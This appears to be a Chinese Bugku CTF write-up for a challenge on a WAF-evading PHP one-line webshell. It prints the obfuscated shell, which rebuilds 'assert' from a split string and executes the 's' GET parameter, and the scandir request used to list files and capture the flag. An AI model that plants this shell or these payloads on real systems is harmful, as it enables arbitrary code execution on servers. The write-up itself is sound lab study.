Bugku-CTF之过狗一句话(送给大家一个过狗一句话)
2024-08-20 16:11:50
Day25
过狗一句话
送给大家一个过狗一句话
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
本题要点:php scandir()函数、assert代码执行漏洞
php中读取目录下文件的方法:
最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思
看题目~
构造: http://123.206.87.240:8010/ ?s=print_r(scandir('./'))
访问的时候就成为 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
则直接获取里面的内容 http://120.24.86.145:8010/ flag_sm1skla1).txt
得到flag
BUGKU{bugku_web_009801_a}
完成!
参考资料:
php读取目录及子目录下所有文件名的方法
http://www.php.cn/manual/view/4514.html
https://www.jb51.net/article/56468.htm/
http://www.w3school.com.cn/php/func_directory_scandir.asp
最新文章
- Java反射与动态代理
- jquery的.submit
- Linux及安全——模块
- 分享一个linux和linux的文件传输【scp无密码传输】
- 如何分析apache日志[access_log(访问日志)和error_log(错误日志)]
- mysql高可用架构方案之二(keepalived+lvs+读写分离+负载均衡)
- 201521123060 《Java程序设计》第14周学习总结
- mysql数据库表字段使用DESC等关键字报错及解决方法
- m2eclipse Error:ArtifactTransferException: Failure to transfer org.apache.felix:org.apache.felix.res
- 【一天一道LeetCode】#91. Decode Ways
- 使用 ASP.NET Core MVC 创建 Web API(五)
- 3.RNN推导
- 关于Https
- Codeforces 1037D【BFS】
- cad.net 更改高版本填充交互方式为低版本样子
- 理解Express中间件
- Linux安装的分区问题
- SQL Server如何进行时间比较的代码
- EF基础知识小记三(设计器=>;数据库)
- 纪念又一次ak